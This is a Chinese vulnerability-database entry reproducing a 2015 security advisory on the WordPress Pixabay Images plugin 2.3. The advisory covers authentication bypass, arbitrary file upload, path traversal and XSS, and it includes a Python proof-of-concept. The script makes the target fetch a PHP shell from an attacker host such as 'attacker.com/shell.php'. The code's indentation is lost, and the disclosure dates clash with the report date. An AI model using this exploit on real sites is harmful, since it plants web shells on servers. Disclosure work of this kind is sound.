发布日期：2015-03-13
更新日期：2015-03-25

受影响系统：

WordPress Pixarbay Images 2.3

描述：

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BUGTRAQ  ID: 73118
CVE(CAN) ID: CVE-2015-1375

Pixabay Images是一个WordPress插件，可从Pixabay上搜索CC0公共域图片，插入到博客内。

Pixabay Images 2.4之前版本，pixabay-images.php没有正确限制访问上传功能，远程攻击者利用此漏洞可对任意文件进行写操作。

<*来源：Hans-Martin Muench
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Mogwai Security Advisory MSA-2015-01
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Title:              WP Pixarbay Images Multiple Vulnerabilities
Product:            Pixarbay Images (Wordpress Plugin)
Affected versions:  2.3
Impact:             high
Remote:             yes
Product link:       https://wordpress.org/plugins/pixabay-images/
Reported:           14/01/2015
by:                 Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)


Vendor's Description of the Software:
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Pixabay Images is a WordPress plugin that let's you pick CC0 public
domain pictures from Pixabay and insert them with just a click anywhere
on your blog. The images are safe to use, and paying attribution or
linking back to the source is not required.


Business recommendation:
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Update to version 2.4

Vulnerability description:
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1) Authentication bypass
The plugin does not correctly check if the user is logged in. Certain
code can be called without authentication

2) Arbitrary file upload
The plugin code does not validate the host in the provided download URL,
which allows to upload malicious files, including PHP code.

3) Path Traversal
Certain values are not sanitized before they are used in a file operation.
This allows to store files outside of the "download" folder.

4) Cross Site Scripting (XSS)
The generated author link uses unsanitized user values which can be
abused for Cross Site Scripting (XSS) attacks.


Proof of concept:
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The following PoC Python script can be used to download PHP files from
a attacker controlled host.

#!/usr/bin/env python

import argparse
import httplib, urllib
from urlparse import urlparse

def exploit(target_url, shellcode_url):

target = urlparse(target_url)

params = urllib.urlencode({'pixabay_upload': 1, 'image_url': shellcode_url,
'image_user': 'none', 'q':'xxx/../../../../../../mogwai'})
headers = headers = {"Content-type": "application/x-www-form-urlencoded"}

print "[+] Sending download request...."
conn = httplib.HTTPConnection(target.netloc)
conn.request("POST", target.path + "/wp-admin/", params, headers)

response = conn.getresponse()
response_data = response.read()
if response.status != 200 and response_data != "Error: File attachment metadata
error":
print "[-] Something went wrong"
print response_data
exit()

conn.close()


# ---- Main code ----------------
parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="The target url, for example
http://foo.bar/blog/")
parser.add_argument("shellcode_url", help="The url of the PHP file that should
be uploaded, for example: http://attacker.com/shell.php")

print "----------------------------------------------"
print " pixabay upload wordpress plugin exploit PoC"
print " Mogwai security"
print "----------------------------------------------"

arguments = parser.parse_args()
exploit(arguments.target_url, arguments.shellcode_url)




Vulnerable / tested versions:
----------------------------------------------------------------------
Pixabay Images 2.3


Disclosure timeline:
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14/01/2014: Reporting issues to the plugin author
15/01/2014: Release of fixed version (2.4)
19/01/2014: Public advisory


Advisory URL:
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https://www.mogwaisecurity.de/#lab


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Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

info@mogwaisecurity.de

建议：

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厂商补丁：

WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

https://wordpress.org/plugins/pixabay-images/

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